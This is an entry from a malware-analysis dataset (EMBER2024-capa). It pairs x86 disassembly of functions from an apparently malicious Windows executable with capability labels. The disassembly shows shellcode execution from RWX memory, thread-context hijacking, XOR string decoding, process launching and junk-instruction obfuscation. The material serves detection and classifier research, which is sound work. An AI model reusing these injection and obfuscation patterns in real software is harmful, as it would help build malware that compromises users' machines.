joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417848
Capabilities:
Get file size
Parse pe header
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa4
call fcn.004291f0
push ebx
push esi
push edi
push 0xa
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x7c]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], esi
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x80], esi
rep stosd dword es:[edi], eax
push 0xa
lea edi, [ebp - 0x2c]
pop ecx
mov dword [ebp - 0x54], esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push dword [ebp + 8]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
push 2
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x41798e
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
cmp ebx, esi
je 0x417985
cmp word [ebx], 0x5a4d
jne 0x417931
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp dword [eax], 0x4550
jne 0x417931
mov cx, word [eax + 6]
cmp cx, 1
jne 0x417935
xor eax, eax
jmp 0x417999
movzx edi, cx
movzx ecx, word [eax + 0x14]
xor edx, edx
cmp edi, esi
lea ecx, [ecx + eax + 0x18]
jle 0x417965
add ecx, 0x14
mov esi, dword [ecx - 8]
mov dword [ebp + edx*4 - 0xa4], esi
mov esi, dword [ecx]
mov dword [ebp + edx*4 - 0x54], esi
add ecx, 0x28
movzx esi, word [eax + 6]
inc edx
cmp edx, esi
jl 0x417949
lea eax, [ebp - 0x54]
push edi
push eax
lea eax, [ebp - 0xa4]
push eax
push dword [ebp + 0xc]
call fcn.004177ee
add esp, 0x10
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41887d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push 0x40
mov esi, 0x3e8
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov al, byte [0x7f5500]
push 0xa
push eax
push 0x7fde9c
call fcn.00412ef3
add esp, 0xc
mov dword [0x7fdea8], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x7fdea8]
mov ebx, eax
call fcn.00428816
mov al, byte [0x7f5500]
and dword [0x7fdea8], 0
push 0x13
push eax
push 0x7fdee0
call fcn.00412ef3
add esp, 0x10
mov dword [0x7fdef4], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x7fdef4]
mov dword [ebp - 8], eax
call fcn.00428816
and dword [0x7fdef4], 0
pop ecx
push 0x40
push 0
push 1
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
add eax, 0x100
push eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 8]
mov eax, dword [ebp - 4]
push dword [eax]
push 0x10000
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop eax
pop esi
pop ebx
leave
ret

Function at 0x418cbb
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, 0xbb8
mov ebx, ecx
push edi
call esi
push 1
push dword [ebx + 0x4f0]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call esi
pop edi
pop esi
pop ebx
ret
Function at 0x418f3c
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x2d0
push ebx
push ebp
push esi
xor esi, esi
push edi
mov ebx, ecx
push esi
push dword [ebx + 0x514]
call fcn.00418d5e
push eax
mov dword [ebx + 0x4e8], eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov al, byte [0x7f5500]
push 0xb
push eax
push 0x7fde50
call fcn.00412ef3
add esp, 0xc
mov dword [0x7fde5c], eax
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [0x7fde5c]
mov dword [0x802810], eax
call fcn.00428816
pop ecx
lea eax, [esp + 0x10]
push esi
push esi
push 0x1f0fff
push eax
mov dword [0x7fde5c], esi
push dword [ebx + 0x4ec]
mov dword [esp + 0x24], esi
push dword [0x802810]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push dword [ebx + 0x518]
push 0x4190fa
push dword [ebx + 0x504]
call fcn.00418946
add esp, 0xc
xor edx, edx
cmp dword [ebx + 0x518], esi
jbe 0x419036
mov eax, edx
add eax, dword [ebx + 0x504]
mov ecx, dword [eax]
cmp ecx, 0x11111111
je 0x419025
cmp ecx, 0x22222222
je 0x41901d
cmp ecx, 0x33333333
je 0x419017
cmp ecx, 0x44444444
jne 0x41902d
mov ecx, dword [ebx + 0x500]
jmp 0x41902b
mov ecx, dword [esp + 0x10]
jmp 0x41902b
mov ecx, dword [0x802818]
jmp 0x41902b
mov ecx, dword [0x802814]
mov dword [eax], ecx
inc edx
cmp edx, dword [ebx + 0x518]
jb 0x418fe5
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x10007
push eax
push dword [ebx + 0x4e8]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov ebp, 0xb3
je 0x41908c
mov eax, dword [ebx + 0x508]
lea edi, [ebx + 0x21c]
mov ecx, ebp
lea esi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xcc], eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0x10007
push dword [ebx + 0x4e8]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebx + 0x4e8]
mov ecx, ebp
mov ebp, 0x7fd000
lea esi, [ebx + 0x21c]
mov edi, ebp
mov dword [0x7fa970], eax
rep movsd dword es:[edi], dword [esi]
push dword [ebx + 0x4e8]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
push 0xffffffffffffffff
push dword [0x802810]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x7fa970]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push ebp
mov dword [0x7fd000], 0x10007
push dword [0x7fa970]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [0x7fa970]
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2d0
ret
Function at 0x41c3ff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov edi, esi
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov ecx, dword [ebp + 0xc]
lodsb al, byte [esi]
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
xor al, 3
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
stosb byte es:[edi], al
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
sub ecx, 1
jne 0x41c481
push 1
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41cd86
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov al, byte [0x7f5500]
push ebx
push edi
push 5
push eax
push 0x7fd60c
call fcn.00412ef3
mov dword [0x7fd614], eax
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov al, byte [0x7f5500]
push 0xd
push eax
push 0x7fd618
call fcn.00412ef3
add esp, 0x18
mov dword [0x7fd628], eax
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
push 3
push 0
push dword [ebp + 8]
push dword [0x7fd628]
push dword [0x7fd614]
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
push dword [0x7fd614]
call fcn.00428816
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
and dword [0x7fd614], 0
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
push dword [0x7fd628]
call fcn.00428816
pop ecx
pop ecx
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
and dword [0x7fd628], 0
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
push 1
pop eax
pop edi
pop ebx
pop ebp
ret
Function at 0x41f5f6
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x7f5500]
push 0xf
push eax
push 0x7fde20
xor esi, esi
mov dword [ebp - 8], 0x104
call fcn.00412ef3
add esp, 0xc
mov dword [0x7fde30], eax
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x20019
push edi
push dword [0x7fde30]
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41f70d
mov al, byte [0x7f5500]
push 0xb
push eax
push 0x7fd3d4
call fcn.00412ef3
add esp, 0xc
lea ecx, [ebp - 8]
mov dword [0x7fd3e0], eax
push ecx
lea ecx, [ebp - 0x10c]
push ecx
push edi
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [0x7fd3e0]
call fcn.00428816
pop ecx
lea eax, [ebp - 0x10c]
push eax
mov dword [0x7fd3e0], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x41f70d
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x10c]
push eax
push 0x801d40
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
pop esi
push dword [0x7fde30]
call fcn.00428816
pop ecx
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
and dword [0x7fde30], 0
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41f79b
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x7f5500]
push 0x15
push eax
push 0x7fde34
xor esi, esi
mov dword [ebp - 8], 0x104
call fcn.00412ef3
add esp, 0xc
mov dword [0x7fde4c], eax
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x20019
push edi
push dword [0x7fde4c]
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41f8b2
mov al, byte [0x7f5500]
push 5
push eax
push 0x7fd3e4
call fcn.00412ef3
add esp, 0xc
lea ecx, [ebp - 8]
mov dword [0x7fd3ec], eax
push ecx
lea ecx, [ebp - 0x10c]
push ecx
push edi
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [0x7fd3ec]
call fcn.00428816
pop ecx
lea eax, [ebp - 0x10c]
push eax
mov dword [0x7fd3ec], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x41f8b2
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x10c]
push eax
push 0x801d40
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
pop esi
push dword [0x7fde4c]
call fcn.00428816
pop ecx
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
and dword [0x7fde4c], 0
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41f940
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov esi, 0x801d40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call edi
test eax, eax
je 0x41f988
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x41f996
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
jmp 0x41f996
call fcn.0041f5f6
test eax, eax
jne 0x41f996
call fcn.0041f79b
push esi
call edi
test eax, eax
je 0x41fa40
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push esi
push eax
call edi
lea eax, [ebp - 0x104]
push 0x7f5808
push eax
call fcn.00429240
mov al, byte [0x7f5500]
push 6
push eax
push 0x7fdde0
call fcn.00412ef3
mov dword [0x7fdde8], eax
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00429240
push dword [0x7fdde8]
call fcn.00428816
and dword [0x7fdde8], 0
add esp, 0x20
lea eax, [ebp - 0x104]
mov esi, 0x802324
push eax
push esi
call edi
push 0x16
push 0x7fd7fc
push 0x7fd6f4
push esi
call fcn.00419373
push 0x190
push 0x7fd904
push 0x7fda0c
push esi
call fcn.00419d98
push esi
call fcn.00417edb
push esi
call fcn.004182a5
add esp, 0x28
pop edi
pop esi
leave
ret
Function at 0x41fbec
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
push 0xa
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x7c]
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
rep stosd dword es:[edi], eax
push 0xa
lea edi, [ebp - 0x2c]
pop ecx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
jne 0x41fcd7
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
jne 0x41fcd7
cmp word [esi + 6], 1
je 0x41fcd7
push dword [esi + 0x38]
push dword [esi + 0x50]
call fcn.0041a5d5
movzx edx, word [esi + 6]
movzx eax, word [esi + 0x14]
pop ecx
mov dword [ebp - 4], edx
pop ecx
lea eax, [eax + esi + 0x18]
xor ecx, ecx
cmp edx, ebx
jle 0x41fcc5
add eax, 0x14
mov edx, dword [eax - 8]
mov dword [ebp + ecx*4 - 0xa4], edx
mov edx, dword [eax]
mov dword [ebp + ecx*4 - 0x54], edx
add eax, 0x28
movzx edx, word [esi + 6]
inc ecx
cmp ecx, edx
jl 0x41fca6
mov edi, dword [ebp + 8]
mov eax, dword [esi + 0x50]
mov dword [0x80260c], eax
mov eax, dword [esi + 0x88]
cmp eax, ebx
jne 0x41fcde
xor eax, eax
jmp 0x41fd6d
push dword [ebp - 4]
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0xa4]
push ecx
push eax
call fcn.0041b4c5
movzx ecx, word [eax + edi + 0xe]
movzx edx, word [eax + edi + 0xc]
add eax, edi
add esp, 0x10
add ecx, edx
lea edx, [eax + 0x10]
je 0x41fd15
cmp dword [edx], 5
je 0x41fd15
inc ebx
add edx, 8
cmp ebx, ecx
jb 0x41fd08
mov edx, dword [edx + 4]
mov ecx, closesocket
and edx, ecx
mov edx, dword [edx + eax + 0x14]
and edx, ecx
mov ecx, dword [edx + eax + 0x14]
mov edx, dword [ecx + eax]
add ecx, eax
mov eax, dword [0x80260c]
cmp edx, eax
jae 0x41fd6d
cmp edx, dword [esi + 0x88]
jbe 0x41fd6d
push dword [ebp - 4]
mov eax, edx
mov dword [0x80260c], eax
mov ecx, dword [ecx + 4]
mov dword [0x802610], ecx
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0xa4]
push ecx
push eax
call fcn.0041b4c5
add esp, 0x10
add eax, edi
mov dword [0x80260c], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x421870
Capabilities:
Get file size

Disassembly:
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, esi
je 0x4218a0
cmp eax, 0xffffffff
je 0x4218a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov eax, esi
pop esi
ret
Function at 0x4224bd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov al, byte [0x7f5500]
push esi
push 0x33
xor esi, esi
push eax
push 0x7fe0d0
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0x104
call fcn.00412ef3
mov dword [0x7fe104], eax
mov al, byte [0x7f5500]
push 0xd
push eax
push 0x7fe108
call fcn.00412ef3
add esp, 0x18
mov dword [0x7fe118], eax
lea eax, [ebp - 0xc]
push eax
push 0x20019
push esi
push dword [0x7fe104]
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x42253b
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 8]
push eax
push esi
push dword [0x7fe118]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [0x7fe104]
call fcn.00428816
push dword [0x7fe118]
mov dword [0x7fe104], esi
call fcn.00428816
pop ecx
mov dword [0x7fe118], esi
pop ecx
xor eax, eax
pop esi
leave
ret

Function at 0x422564
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
call fcn.00429500
pop ecx
mov dword [ebp - 4], eax
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov esi, dword [ebp + 8]
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov edi, esi
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
mov ecx, dword [ebp - 4]
lodsb al, byte [esi]
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
xor al, 5
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
stosb byte es:[edi], al
sub eax, dword [0x7f5508]
sub ebx, dword [str.Tb:]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub edx, dword [0x7f550c]
sub ecx, dword [0x7f5510]
inc edx
mov edx, edx
add ebx, dword [str.Tb:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
add edx, dword [0x7f550c]
lea ecx, [ecx]
sub ecx, 1
jne 0x42262d
pop edi
pop esi
pop ebx
leave
ret